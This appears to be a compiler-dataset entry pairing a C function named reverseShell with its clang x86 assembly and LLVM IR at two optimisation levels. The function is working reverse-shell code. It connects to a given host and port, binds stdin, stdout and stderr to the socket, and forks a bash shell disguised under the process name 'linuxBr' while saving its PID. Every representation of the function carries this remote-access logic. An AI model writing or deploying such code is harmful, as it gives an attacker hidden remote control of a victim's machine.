#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct addrinfo {
  int /*<<< orphan*/ ai_addrlen;
  int /*<<< orphan*/ ai_addr;
  struct addrinfo *ai_next;
  scalar_t__ ai_protocol;
  scalar_t__ ai_flags;
  int /*<<< orphan*/ ai_socktype;
  int /*<<< orphan*/ ai_family;
};
typedef scalar_t__ pid_t;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ AF_UNSPEC;
int /*<<< orphan*/ SHUT_RDWR;
int /*<<< orphan*/ SOCK_DGRAM;
int /*<<< orphan*/ SOCK_STREAM;
int /*<<< orphan*/ basename(char *);
int /*<<< orphan*/ close(int);
int connect(int, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ debugMsg(char *);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execl(char *, int /*<<< orphan*/, char *);
scalar_t__ fork();
int getaddrinfo(char *, char *, struct addrinfo *, struct addrinfo **);
int /*<<< orphan*/ getpid();
int /*<<< orphan*/ memset(struct addrinfo *, int /*<<< orphan*/, int);
int /*<<< orphan*/ savePid(char *, int /*<<< orphan*/);
int /*<<< orphan*/ shutdown(int, int /*<<< orphan*/);
int /*<<< orphan*/ sleep(int);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ waitpid(scalar_t__, int /*<<< orphan*/, int /*<<< orphan*/);
scalar_t__ write(int, char *, int);
int reverseShell(char *host, char *port) {
  debugMsg("reverseShell() ...");
  struct addrinfo hints;
  struct addrinfo *result, *rp;
  int sfd, s;
  memset(&hints, 0, sizeof(struct addrinfo));
  hints.ai_family = AF_UNSPEC;
  hints.ai_socktype = SOCK_DGRAM;
  hints.ai_flags = 0;
  hints.ai_protocol = 0;
  debugMsg("reverseShell() ... getaddrinfo ...");
  s = getaddrinfo(host, port, &hints, &result);
  if (s != 0) {
    debugMsg("reverseShell() ... getaddrinfo ... fail ...");
    return 1;
  }
  for (rp = result; rp != NULL; rp = rp->ai_next) {
    sfd = socket(AF_INET, SOCK_STREAM, 0);
    debugMsg("reverseShell() ... socket ...");
    if (sfd == -1) {
      debugMsg("reverseShell() ... socket() ... fail ...");
      debugMsg("reverseShell() ... getaddrinfo ... retrying ...");
      continue;
    }
    debugMsg("reverseShell() ... socket ... ok ...");
    debugMsg("reverseShell() ... connect() ...");
    if (connect(sfd, rp->ai_addr, rp->ai_addrlen) != -1) {
      debugMsg("reverseShell() ... connect() ... ok ...");
      break;
    }
    debugMsg("reverseShell() ... connect() ... fail ...");
    close(sfd);
    sleep(2);
  }
  debugMsg("reverseShell() ... check address ...");
  if (rp == NULL) {
    debugMsg("reverseShell() ... check address ... address == NULL ...");
    return 4;
  }
  debugMsg("reverseShell() ... check address ... ok ...");
  debugMsg("reverseShell() ... write() ...");
  if (write(sfd, "Hello :)\n", 10) < 0) {
    debugMsg("reverseShell() ... write() ... fail ...");
  }
  debugMsg("reverseShell() ... write() ... ok ...");
  dup2(sfd, 0);
  dup2(sfd, 1);
  dup2(sfd, 2);
  pid_t pid = fork();
  if (pid == 0) {
    savePid("chi_2", getpid());
    execl("/bin/bash", basename("/usr/bin/linuxBr"), (char *)0);
  } else {
    waitpid(pid, 0, 0);
    debugMsg("reverseShell() ... shell ... ok....");
    shutdown(sfd, SHUT_RDWR);
    close(sfd);
  }
  debugMsg("reverseShell() ... ok ...");
  return 0;
}


x86 assembly (clang, -O0):
<reverseShell>:
push   %rbp
mov    %rsp,%rbp
sub    $0x60,%rsp
mov    %rdi,-0x10(%rbp)
mov    %rsi,-0x18(%rbp)
lea    0xde9(%rip),%rdi
call   1090 <debugMsg@plt>
lea    -0x40(%rbp),%rdi
xor    %esi,%esi
mov    $0x28,%edx
call   1070 <memset@plt>
mov    0x2da5(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x1c(%rbp)
mov    0x2d91(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x20(%rbp)
movq   $0x0,-0x28(%rbp)
movq   $0x0,-0x30(%rbp)
lea    0xdb8(%rip),%rdi
call   1090 <debugMsg@plt>
mov    -0x10(%rbp),%rdi
mov    -0x18(%rbp),%rsi
lea    -0x40(%rbp),%rdx
lea    -0x48(%rbp),%rcx
call   10e0 <getaddrinfo@plt>
mov    %eax,-0x58(%rbp)
cmpl   $0x0,-0x58(%rbp)
je     129a <reverseShell+0x9a>
lea    0xdad(%rip),%rdi
call   1090 <debugMsg@plt>
movl   $0x1,-0x4(%rbp)
jmp    14a6 <reverseShell+0x2a6>
mov    -0x48(%rbp),%rax
mov    %rax,-0x50(%rbp)
cmpq   $0x0,-0x50(%rbp)
je     1372 <reverseShell+0x172>
mov    0x2d2c(%rip),%rax
mov    (%rax),%edi
mov    0x2d03(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1120 <socket@plt>
mov    %eax,-0x54(%rbp)
lea    0xd92(%rip),%rdi
call   1090 <debugMsg@plt>
cmpl   $0xffffffff,-0x54(%rbp)
jne    12fc <reverseShell+0xfc>
lea    0xd9a(%rip),%rdi
call   1090 <debugMsg@plt>
lea    0xdb7(%rip),%rdi
call   1090 <debugMsg@plt>
jmp    1361 <reverseShell+0x161>
lea    0xdd6(%rip),%rdi
call   1090 <debugMsg@plt>
lea    0xdef(%rip),%rdi
call   1090 <debugMsg@plt>
mov    -0x54(%rbp),%edi
mov    -0x50(%rbp),%rax
mov    0x4(%rax),%esi
mov    -0x50(%rbp),%rax
mov    (%rax),%edx
call   10d0 <connect@plt>
cmp    $0xffffffff,%eax
je     1343 <reverseShell+0x143>
lea    0xde6(%rip),%rdi
call   1090 <debugMsg@plt>
jmp    1372 <reverseShell+0x172>
lea    0xdfd(%rip),%rdi
call   1090 <debugMsg@plt>
mov    -0x54(%rbp),%edi
call   1080 <close@plt>
mov    $0x2,%edi
call   1100 <sleep@plt>
mov    -0x50(%rbp),%rax
mov    0x8(%rax),%rax
mov    %rax,-0x50(%rbp)
jmp    12a2 <reverseShell+0xa2>
lea    0xdf8(%rip),%rdi
call   1090 <debugMsg@plt>
cmpq   $0x0,-0x50(%rbp)
jne    13a1 <reverseShell+0x1a1>
lea    0xe06(%rip),%rdi
call   1090 <debugMsg@plt>
movl   $0x4,-0x4(%rbp)
jmp    14a6 <reverseShell+0x2a6>
lea    0xe27(%rip),%rdi
call   1090 <debugMsg@plt>
lea    0xe47(%rip),%rdi
call   1090 <debugMsg@plt>
mov    -0x54(%rbp),%edi
lea    0xe57(%rip),%rsi
mov    $0xa,%edx
call   1030 <write@plt>
cmp    $0x0,%rax
jge    13e3 <reverseShell+0x1e3>
lea    0xe46(%rip),%rdi
call   1090 <debugMsg@plt>
lea    0xe62(%rip),%rdi
call   1090 <debugMsg@plt>
mov    -0x54(%rbp),%edi
xor    %esi,%esi
call   1060 <dup2@plt>
mov    -0x54(%rbp),%edi
mov    $0x1,%esi
call   1060 <dup2@plt>
mov    -0x54(%rbp),%edi
mov    $0x2,%esi
call   1060 <dup2@plt>
mov    $0x0,%al
call   1110 <fork@plt>
mov    %rax,-0x60(%rbp)
cmpq   $0x0,-0x60(%rbp)
jne    1461 <reverseShell+0x261>
mov    $0x0,%al
call   1040 <getpid@plt>
mov    %eax,%esi
lea    0xe39(%rip),%rdi
call   10b0 <savePid@plt>
lea    0xe3d(%rip),%rdi
call   10a0 <basename@plt>
mov    %eax,%esi
lea    0xe25(%rip),%rdi
xor    %eax,%eax
mov    %eax,%edx
call   10f0 <execl@plt>
jmp    1493 <reverseShell+0x293>
mov    -0x60(%rbp),%rdi
xor    %edx,%edx
mov    %edx,%esi
call   10c0 <waitpid@plt>
lea    0xe1e(%rip),%rdi
call   1090 <debugMsg@plt>
mov    -0x54(%rbp),%edi
mov    0x2b6c(%rip),%rax
mov    (%rax),%esi
call   1050 <shutdown@plt>
mov    -0x54(%rbp),%edi
call   1080 <close@plt>
lea    0xe1d(%rip),%rdi
call   1090 <debugMsg@plt>
movl   $0x0,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x60,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<reverseShell>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x38,%rsp
mov    %rsi,%rbx
mov    %rdi,%rbp
lea    0xde5(%rip),%rdi
call   1090 <debugMsg@plt>
lea    0x10(%rsp),%r14
mov    %r14,%rdi
xor    %esi,%esi
mov    $0x28,%edx
call   1070 <memset@plt>
mov    0x2d9d(%rip),%rax
mov    (%rax),%eax
mov    %eax,0x34(%rsp)
mov    0x2d88(%rip),%rax
mov    (%rax),%eax
mov    %eax,0x30(%rsp)
xorps  %xmm0,%xmm0
movups %xmm0,0x20(%rsp)
lea    0xdb6(%rip),%rdi
call   1090 <debugMsg@plt>
lea    0x8(%rsp),%rcx
mov    %rbp,%rdi
mov    %rbx,%rsi
mov    %r14,%rdx
call   10e0 <getaddrinfo@plt>
test   %eax,%eax
je     128b <reverseShell+0x8b>
mov    $0x1,%r14d
lea    0xdb0(%rip),%rdi
jmp    1461 <reverseShell+0x261>
mov    0x8(%rsp),%r12
test   %r12,%r12
je     1347 <reverseShell+0x147>
mov    0x2d40(%rip),%r15
mov    0x2d19(%rip),%r13
lea    0xdb4(%rip),%r14
lea    0xe49(%rip),%rbp
jmp    12e2 <reverseShell+0xe2>
nopw   0x0(%rax,%rax,1)
lea    0xdb9(%rip),%rdi
call   1090 <debugMsg@plt>
lea    0xdd6(%rip),%rdi
call   1090 <debugMsg@plt>
mov    0x8(%r12),%r12
test   %r12,%r12
je     1347 <reverseShell+0x147>
mov    (%r15),%edi
mov    0x0(%r13),%esi
xor    %edx,%edx
call   1120 <socket@plt>
mov    %eax,%ebx
mov    %r14,%rdi
call   1090 <debugMsg@plt>
cmp    $0xffffffff,%ebx
je     12c0 <reverseShell+0xc0>
lea    0xdd3(%rip),%rdi
call   1090 <debugMsg@plt>
mov    %rbp,%rdi
call   1090 <debugMsg@plt>
mov    (%r12),%edx
mov    0x4(%r12),%esi
mov    %ebx,%edi
call   10d0 <connect@plt>
cmp    $0xffffffff,%eax
jne    1365 <reverseShell+0x165>
lea    0xe18(%rip),%rdi
call   1090 <debugMsg@plt>
mov    %ebx,%edi
call   1080 <close@plt>
mov    $0x2,%edi
call   1100 <sleep@plt>
jmp    12d8 <reverseShell+0xd8>
lea    0xe23(%rip),%rdi
call   1090 <debugMsg@plt>
mov    $0x4,%r14d
lea    0xe36(%rip),%rdi
jmp    1461 <reverseShell+0x261>
lea    0xdb3(%rip),%rdi
call   1090 <debugMsg@plt>
lea    0xdf9(%rip),%rdi
call   1090 <debugMsg@plt>
lea    0xe4b(%rip),%rdi
call   1090 <debugMsg@plt>
lea    0xe6b(%rip),%rdi
call   1090 <debugMsg@plt>
lea    0xe7e(%rip),%rsi
mov    %ebx,%edi
mov    $0xa,%edx
call   1030 <write@plt>
test   %rax,%rax
jns    13b9 <reverseShell+0x1b9>
lea    0xe70(%rip),%rdi
call   1090 <debugMsg@plt>
lea    0xe8c(%rip),%rdi
call   1090 <debugMsg@plt>
xor    %r14d,%r14d
mov    %ebx,%edi
xor    %esi,%esi
call   1060 <dup2@plt>
mov    %ebx,%edi
mov    $0x1,%esi
call   1060 <dup2@plt>
mov    %ebx,%edi
mov    $0x2,%esi
call   1060 <dup2@plt>
xor    %eax,%eax
call   1110 <fork@plt>
test   %rax,%rax
je     1426 <reverseShell+0x226>
mov    %rax,%rdi
xor    %esi,%esi
xor    %edx,%edx
call   10c0 <waitpid@plt>
lea    0xe8b(%rip),%rdi
call   1090 <debugMsg@plt>
mov    0x2bdc(%rip),%rax
mov    (%rax),%esi
mov    %ebx,%edi
call   1050 <shutdown@plt>
mov    %ebx,%edi
call   1080 <close@plt>
jmp    145a <reverseShell+0x25a>
xor    %r14d,%r14d
xor    %eax,%eax
call   1040 <getpid@plt>
lea    0xe3b(%rip),%rdi
mov    %eax,%esi
call   10b0 <savePid@plt>
lea    0xe3d(%rip),%rdi
call   10a0 <basename@plt>
lea    0xe27(%rip),%rdi
mov    %eax,%esi
xor    %edx,%edx
call   10f0 <execl@plt>
lea    0xe56(%rip),%rdi
call   1090 <debugMsg@plt>
mov    %r14d,%eax
add    $0x38,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
%struct.addrinfo = type { i32, i32, %struct.addrinfo*, i64, i64, i32, i32 }
@.str = [19 x i8] c"reverseShell() ...\00"
@AF_UNSPEC = global i32 0
@SOCK_DGRAM = global i32 0
@.str.1 = [35 x i8] c"reverseShell() ... getaddrinfo ...\00"
@.str.2 = [44 x i8] c"reverseShell() ... getaddrinfo ... fail ...\00"
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str.3 = [30 x i8] c"reverseShell() ... socket ...\00"
@.str.4 = [41 x i8] c"reverseShell() ... socket() ... fail ...\00"
@.str.5 = [48 x i8] c"reverseShell() ... getaddrinfo ... retrying ...\00"
@.str.6 = [37 x i8] c"reverseShell() ... socket ... ok ...\00"
@.str.7 = [33 x i8] c"reverseShell() ... connect() ...\00"
@.str.8 = [40 x i8] c"reverseShell() ... connect() ... ok ...\00"
@.str.9 = [42 x i8] c"reverseShell() ... connect() ... fail ...\00"
@.str.10 = [37 x i8] c"reverseShell() ... check address ...\00"
@.str.11 = [57 x i8] c"reverseShell() ... check address ... address == NULL ...\00"
@.str.12 = [44 x i8] c"reverseShell() ... check address ... ok ...\00"
@.str.13 = [31 x i8] c"reverseShell() ... write() ...\00"
@.str.14 = [10 x i8] c"Hello :)\0A\00"
@.str.15 = [40 x i8] c"reverseShell() ... write() ... fail ...\00"
@.str.16 = [38 x i8] c"reverseShell() ... write() ... ok ...\00"
@.str.17 = [6 x i8] c"chi_2\00"
@.str.18 = [10 x i8] c"/bin/bash\00"
@.str.19 = [17 x i8] c"/usr/bin/linuxBr\00"
@.str.20 = [36 x i8] c"reverseShell() ... shell ... ok....\00"
@SHUT_RDWR = global i32 0
@.str.21 = [26 x i8] c"reverseShell() ... ok ...\00"
define i32 @reverseShell(i8* %0, i8* %1) {
%3 = alloca i32
%4 = alloca i8*
%5 = alloca i8*
%6 = alloca %struct.addrinfo
%7 = alloca %struct.addrinfo*
%8 = alloca %struct.addrinfo*
%9 = alloca i32
%10 = alloca i32
%11 = alloca i64
store i8* %0, i8** %4
store i8* %1, i8** %5
%12 = call i32 @debugMsg(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str, i64 0, i64 0))
%13 = call i32 @memset(%struct.addrinfo* %6, i32 0, i32 40)
%14 = load i32, i32* @AF_UNSPEC
%15 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %6, i32 0, i32 6
store i32 %14, i32* %15
%16 = load i32, i32* @SOCK_DGRAM
%17 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %6, i32 0, i32 5
store i32 %16, i32* %17
%18 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %6, i32 0, i32 4
store i64 0, i64* %18
%19 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %6, i32 0, i32 3
store i64 0, i64* %19
%20 = call i32 @debugMsg(i8* getelementptr inbounds ([35 x i8], [35 x i8]* @.str.1, i64 0, i64 0))
%21 = load i8*, i8** %4
%22 = load i8*, i8** %5
%23 = call i32 @getaddrinfo(i8* %21, i8* %22, %struct.addrinfo* %6, %struct.addrinfo** %7)
store i32 %23, i32* %10
%24 = load i32, i32* %10
%25 = icmp ne i32 %24, 0
br i1 %25, label %26, label %28
26: ; preds = %2
%27 = call i32 @debugMsg(i8* getelementptr inbounds ([44 x i8], [44 x i8]* @.str.2, i64 0, i64 0))
store i32 1, i32* %3
br label %107
28: ; preds = %2
%29 = load %struct.addrinfo*, %struct.addrinfo** %7
store %struct.addrinfo* %29, %struct.addrinfo** %8
br label %30
30: ; preds = %62, %28
%31 = load %struct.addrinfo*, %struct.addrinfo** %8
%32 = icmp ne %struct.addrinfo* %31, null
br i1 %32, label %33, label %66
33: ; preds = %30
%34 = load i32, i32* @AF_INET
%35 = load i32, i32* @SOCK_STREAM
%36 = call i32 @socket(i32 %34, i32 %35, i32 0)
store i32 %36, i32* %9
%37 = call i32 @debugMsg(i8* getelementptr inbounds ([30 x i8], [30 x i8]* @.str.3, i64 0, i64 0))
%38 = load i32, i32* %9
%39 = icmp eq i32 %38, -1
br i1 %39, label %40, label %43
40: ; preds = %33
%41 = call i32 @debugMsg(i8* getelementptr inbounds ([41 x i8], [41 x i8]* @.str.4, i64 0, i64 0))
%42 = call i32 @debugMsg(i8* getelementptr inbounds ([48 x i8], [48 x i8]* @.str.5, i64 0, i64 0))
br label %62
43: ; preds = %33
%44 = call i32 @debugMsg(i8* getelementptr inbounds ([37 x i8], [37 x i8]* @.str.6, i64 0, i64 0))
%45 = call i32 @debugMsg(i8* getelementptr inbounds ([33 x i8], [33 x i8]* @.str.7, i64 0, i64 0))
%46 = load i32, i32* %9
%47 = load %struct.addrinfo*, %struct.addrinfo** %8
%48 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %47, i32 0, i32 1
%49 = load i32, i32* %48
%50 = load %struct.addrinfo*, %struct.addrinfo** %8
%51 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %50, i32 0, i32 0
%52 = load i32, i32* %51
%53 = call i32 @connect(i32 %46, i32 %49, i32 %52)
%54 = icmp ne i32 %53, -1
br i1 %54, label %55, label %57
55: ; preds = %43
%56 = call i32 @debugMsg(i8* getelementptr inbounds ([40 x i8], [40 x i8]* @.str.8, i64 0, i64 0))
br label %66
57: ; preds = %43
%58 = call i32 @debugMsg(i8* getelementptr inbounds ([42 x i8], [42 x i8]* @.str.9, i64 0, i64 0))
%59 = load i32, i32* %9
%60 = call i32 @close(i32 %59)
%61 = call i32 @sleep(i32 2)
br label %62
62: ; preds = %57, %40
%63 = load %struct.addrinfo*, %struct.addrinfo** %8
%64 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %63, i32 0, i32 2
%65 = load %struct.addrinfo*, %struct.addrinfo** %64
store %struct.addrinfo* %65, %struct.addrinfo** %8
br label %30
66: ; preds = %55, %30
%67 = call i32 @debugMsg(i8* getelementptr inbounds ([37 x i8], [37 x i8]* @.str.10, i64 0, i64 0))
%68 = load %struct.addrinfo*, %struct.addrinfo** %8
%69 = icmp eq %struct.addrinfo* %68, null
br i1 %69, label %70, label %72
70: ; preds = %66
%71 = call i32 @debugMsg(i8* getelementptr inbounds ([57 x i8], [57 x i8]* @.str.11, i64 0, i64 0))
store i32 4, i32* %3
br label %107
72: ; preds = %66
%73 = call i32 @debugMsg(i8* getelementptr inbounds ([44 x i8], [44 x i8]* @.str.12, i64 0, i64 0))
%74 = call i32 @debugMsg(i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str.13, i64 0, i64 0))
%75 = load i32, i32* %9
%76 = call i64 @write(i32 %75, i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.14, i64 0, i64 0), i32 10)
%77 = icmp slt i64 %76, 0
br i1 %77, label %78, label %80
78: ; preds = %72
%79 = call i32 @debugMsg(i8* getelementptr inbounds ([40 x i8], [40 x i8]* @.str.15, i64 0, i64 0))
br label %80
80: ; preds = %78, %72
%81 = call i32 @debugMsg(i8* getelementptr inbounds ([38 x i8], [38 x i8]* @.str.16, i64 0, i64 0))
%82 = load i32, i32* %9
%83 = call i32 @dup2(i32 %82, i32 0)
%84 = load i32, i32* %9
%85 = call i32 @dup2(i32 %84, i32 1)
%86 = load i32, i32* %9
%87 = call i32 @dup2(i32 %86, i32 2)
%88 = call i64 (...) @fork()
store i64 %88, i64* %11
%89 = load i64, i64* %11
%90 = icmp eq i64 %89, 0
br i1 %90, label %91, label %96
91: ; preds = %80
%92 = call i32 (...) @getpid()
%93 = call i32 @savePid(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.17, i64 0, i64 0), i32 %92)
%94 = call i32 @basename(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.19, i64 0, i64 0))
%95 = call i32 @execl(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.18, i64 0, i64 0), i32 %94, i8* null)
br label %105
96: ; preds = %80
%97 = load i64, i64* %11
%98 = call i32 @waitpid(i64 %97, i32 0, i32 0)
%99 = call i32 @debugMsg(i8* getelementptr inbounds ([36 x i8], [36 x i8]* @.str.20, i64 0, i64 0))
%100 = load i32, i32* %9
%101 = load i32, i32* @SHUT_RDWR
%102 = call i32 @shutdown(i32 %100, i32 %101)
%103 = load i32, i32* %9
%104 = call i32 @close(i32 %103)
br label %105
105: ; preds = %96, %91
%106 = call i32 @debugMsg(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.21, i64 0, i64 0))
store i32 0, i32* %3
br label %107
107: ; preds = %105, %70, %26
%108 = load i32, i32* %3
ret i32 %108
}

LLVM IR (-O2):
%struct.addrinfo = type { i32, i32, %struct.addrinfo*, i64, i64, i32, i32 }
@.str = [19 x i8] c"reverseShell() ...\00"
@AF_UNSPEC = global i32 0
@SOCK_DGRAM = global i32 0
@.str.1 = [35 x i8] c"reverseShell() ... getaddrinfo ...\00"
@.str.2 = [44 x i8] c"reverseShell() ... getaddrinfo ... fail ...\00"
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str.3 = [30 x i8] c"reverseShell() ... socket ...\00"
@.str.4 = [41 x i8] c"reverseShell() ... socket() ... fail ...\00"
@.str.5 = [48 x i8] c"reverseShell() ... getaddrinfo ... retrying ...\00"
@.str.6 = [37 x i8] c"reverseShell() ... socket ... ok ...\00"
@.str.7 = [33 x i8] c"reverseShell() ... connect() ...\00"
@.str.8 = [40 x i8] c"reverseShell() ... connect() ... ok ...\00"
@.str.9 = [42 x i8] c"reverseShell() ... connect() ... fail ...\00"
@.str.10 = [37 x i8] c"reverseShell() ... check address ...\00"
@.str.11 = [57 x i8] c"reverseShell() ... check address ... address == NULL ...\00"
@.str.12 = [44 x i8] c"reverseShell() ... check address ... ok ...\00"
@.str.13 = [31 x i8] c"reverseShell() ... write() ...\00"
@.str.14 = [10 x i8] c"Hello :)\0A\00"
@.str.15 = [40 x i8] c"reverseShell() ... write() ... fail ...\00"
@.str.16 = [38 x i8] c"reverseShell() ... write() ... ok ...\00"
@.str.17 = [6 x i8] c"chi_2\00"
@.str.18 = [10 x i8] c"/bin/bash\00"
@.str.19 = [17 x i8] c"/usr/bin/linuxBr\00"
@.str.20 = [36 x i8] c"reverseShell() ... shell ... ok....\00"
@SHUT_RDWR = global i32 0
@.str.21 = [26 x i8] c"reverseShell() ... ok ...\00"
define i32 @reverseShell(i8* %0, i8* %1) {
%3 = alloca %struct.addrinfo
%4 = alloca %struct.addrinfo*
%5 = tail call i32 @debugMsg(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str, i64 0, i64 0))
%6 = bitcast %struct.addrinfo* %3 to i8*
%7 = bitcast %struct.addrinfo** %4 to i8*
%8 = call i32 @memset(%struct.addrinfo* %3, i32 0, i32 40)
%9 = load i32, i32* @AF_UNSPEC
%10 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %3, i64 0, i32 6
store i32 %9, i32* %10
%11 = load i32, i32* @SOCK_DGRAM
%12 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %3, i64 0, i32 5
store i32 %11, i32* %12
%13 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %3, i64 0, i32 3
%14 = bitcast i64* %13 to i8*
%15 = call i32 @debugMsg(i8* getelementptr inbounds ([35 x i8], [35 x i8]* @.str.1, i64 0, i64 0))
%16 = call i32 @getaddrinfo(i8* %0, i8* %1, %struct.addrinfo* %3, %struct.addrinfo** %4)
%17 = icmp eq i32 %16, 0
br i1 %17, label %18, label %77
18: ; preds = %2
%19 = load %struct.addrinfo*, %struct.addrinfo** %4
%20 = icmp eq %struct.addrinfo* %19, null
br i1 %20, label %48, label %21
21: ; preds = %18, %44
%22 = phi %struct.addrinfo* [ %46, %44 ], [ %19, %18 ]
%23 = load i32, i32* @AF_INET
%24 = load i32, i32* @SOCK_STREAM
%25 = call i32 @socket(i32 %23, i32 %24, i32 0)
%26 = call i32 @debugMsg(i8* getelementptr inbounds ([30 x i8], [30 x i8]* @.str.3, i64 0, i64 0))
%27 = icmp eq i32 %25, -1
br i1 %27, label %28, label %31
28: ; preds = %21
%29 = call i32 @debugMsg(i8* getelementptr inbounds ([41 x i8], [41 x i8]* @.str.4, i64 0, i64 0))
%30 = call i32 @debugMsg(i8* getelementptr inbounds ([48 x i8], [48 x i8]* @.str.5, i64 0, i64 0))
br label %44
31: ; preds = %21
%32 = call i32 @debugMsg(i8* getelementptr inbounds ([37 x i8], [37 x i8]* @.str.6, i64 0, i64 0))
%33 = call i32 @debugMsg(i8* getelementptr inbounds ([33 x i8], [33 x i8]* @.str.7, i64 0, i64 0))
%34 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %22, i64 0, i32 1
%35 = load i32, i32* %34
%36 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %22, i64 0, i32 0
%37 = load i32, i32* %36
%38 = call i32 @connect(i32 %25, i32 %35, i32 %37)
%39 = icmp eq i32 %38, -1
br i1 %39, label %40, label %50
40: ; preds = %31
%41 = call i32 @debugMsg(i8* getelementptr inbounds ([42 x i8], [42 x i8]* @.str.9, i64 0, i64 0))
%42 = call i32 @close(i32 %25)
%43 = call i32 @sleep(i32 2)
br label %44
44: ; preds = %40, %28
%45 = getelementptr inbounds %struct.addrinfo, %struct.addrinfo* %22, i64 0, i32 2
%46 = load %struct.addrinfo*, %struct.addrinfo** %45
%47 = icmp eq %struct.addrinfo* %46, null
br i1 %47, label %48, label %21
48: ; preds = %44, %18
%49 = call i32 @debugMsg(i8* getelementptr inbounds ([37 x i8], [37 x i8]* @.str.10, i64 0, i64 0))
br label %77
50: ; preds = %31
%51 = call i32 @debugMsg(i8* getelementptr inbounds ([40 x i8], [40 x i8]* @.str.8, i64 0, i64 0))
%52 = call i32 @debugMsg(i8* getelementptr inbounds ([37 x i8], [37 x i8]* @.str.10, i64 0, i64 0))
%53 = call i32 @debugMsg(i8* getelementptr inbounds ([44 x i8], [44 x i8]* @.str.12, i64 0, i64 0))
%54 = call i32 @debugMsg(i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str.13, i64 0, i64 0))
%55 = call i64 @write(i32 %25, i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.14, i64 0, i64 0), i32 10)
%56 = icmp slt i64 %55, 0
br i1 %56, label %57, label %59
57: ; preds = %50
%58 = call i32 @debugMsg(i8* getelementptr inbounds ([40 x i8], [40 x i8]* @.str.15, i64 0, i64 0))
br label %59
59: ; preds = %57, %50
%60 = call i32 @debugMsg(i8* getelementptr inbounds ([38 x i8], [38 x i8]* @.str.16, i64 0, i64 0))
%61 = call i32 @dup2(i32 %25, i32 0)
%62 = call i32 @dup2(i32 %25, i32 1)
%63 = call i32 @dup2(i32 %25, i32 2)
%64 = call i64 (...) @fork()
%65 = icmp eq i64 %64, 0
br i1 %65, label %66, label %71
66: ; preds = %59
%67 = call i32 (...) @getpid()
%68 = call i32 @savePid(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.17, i64 0, i64 0), i32 %67)
%69 = call i32 @basename(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.19, i64 0, i64 0))
%70 = call i32 @execl(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.18, i64 0, i64 0), i32 %69, i8* null)
br label %77
71: ; preds = %59
%72 = call i32 @waitpid(i64 %64, i32 0, i32 0)
%73 = call i32 @debugMsg(i8* getelementptr inbounds ([36 x i8], [36 x i8]* @.str.20, i64 0, i64 0))
%74 = load i32, i32* @SHUT_RDWR
%75 = call i32 @shutdown(i32 %25, i32 %74)
%76 = call i32 @close(i32 %25)
br label %77
77: ; preds = %66, %71, %2, %48
%78 = phi i8* [ getelementptr inbounds ([57 x i8], [57 x i8]* @.str.11, i64 0, i64 0), %48 ], [ getelementptr inbounds ([44 x i8], [44 x i8]* @.str.2, i64 0, i64 0), %2 ], [ getelementptr inbounds ([26 x i8], [26 x i8]* @.str.21, i64 0, i64 0), %71 ], [ getelementptr inbounds ([26 x i8], [26 x i8]* @.str.21, i64 0, i64 0), %66 ]
%79 = phi i32 [ 4, %48 ], [ 1, %2 ], [ 0, %71 ], [ 0, %66 ]
%80 = call i32 @debugMsg(i8* %78)
ret i32 %79
}